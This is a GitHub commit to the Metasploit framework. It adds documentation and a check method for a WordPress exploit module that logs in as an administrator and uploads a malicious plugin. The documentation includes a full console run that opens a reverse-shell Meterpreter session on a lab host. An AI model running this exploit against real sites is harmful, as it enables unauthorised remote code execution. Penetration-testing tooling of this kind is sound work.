Skip to content

Commit b7b1995

Browse files
committed
Land rapid7#8274, Wordpress admin upload check
2 parents fc3af16 + d69bfd5 commit b7b1995

File tree

2 files changed

+61
-0
lines changed

2 files changed

+61
-0
lines changed
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
## Vulnerable Application
2+
3+
This module takes an administrator username and password, logs into the
4+
admin panel, and uploads a payload packaged as a WordPress plugin.
5+
Becuase this is authenticated code execution by design, it should work
6+
on all versions of WordPress.
7+
8+
### Vulnerable Application Installation
9+
10+
You can get WordPress from [https://wordpress.org/download/](https://wordpress.org/download/)
11+
or from some Linux package managers. [Debian maintains an installation
12+
guide](https://wiki.debian.org/WordPress) that also works on Ubuntu.
13+
Note that in a default install of WP from apt, the plugins directory is
14+
owned by root, so unless you chown it to the web user, this module will
15+
not work. Doing so is common in real-world deployments to allow
16+
legitimate administrators to install plugins, so it is not unreasonable
17+
for your own installation.
18+
19+
20+
## Verification steps
21+
22+
```
23+
msf > use exploit/unix/webapp/wp_admin_shell_upload
24+
msf exploit(wp_admin_shell_upload) > set USERNAME admin
25+
USERNAME => admin
26+
msf exploit(wp_admin_shell_upload) > set PASSWORD password
27+
PASSWORD => password
28+
msf exploit(wp_admin_shell_upload) > set TARGETURI /wp/
29+
TARGETURI => /wp/
30+
msf exploit(wp_admin_shell_upload) > run
31+
32+
[*] Started reverse TCP handler on 0.0.0.0:4444
33+
[*] Authenticating with WordPress using admin:password...
34+
[+] Login successful
35+
[+] Authenticated with WordPress
36+
[*] Preparing payload...
37+
[*] Uploading payload...
38+
[*] Acquired a plugin upload nonce: afa507398f
39+
[*] Uploaded plugin iHNhrYLmGR
40+
[*] Executing the payload at /wp/wp-content/plugins/iHNhrYLmGR/DcrpFXPOCG.php...
41+
[*] Sending stage (33986 bytes) to 192.168.100.131
42+
[*] Meterpreter session 2 opened (192.168.100.1:4444 -> 192.168.100.131:40039) at 2017-04-21 11:36:33 -0500
43+
[+] Deleted DcrpFXPOCG.php
44+
[+] Deleted iHNhrYLmGR.php
45+
46+
meterpreter > pwd
47+
/var/lib/wordpress/wp-content/plugins/iHNhrYLmGR
48+
meterpreter >
49+
```
50+
51+

modules/exploits/unix/webapp/wp_admin_shell_upload.rb

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -39,6 +39,16 @@ def initialize(info = {})
3939
])
4040
end
4141

42+
def check
43+
cookie = wordpress_login(username, password)
44+
if cookie.nil?
45+
store_valid_credential(user: username, private: password, proof: cookie)
46+
return CheckCode::Safe
47+
end
48+
49+
CheckCode::Appears
50+
end
51+
4252
def username
4353
datastore['USERNAME']
4454
end

0 commit comments

Comments
 (0)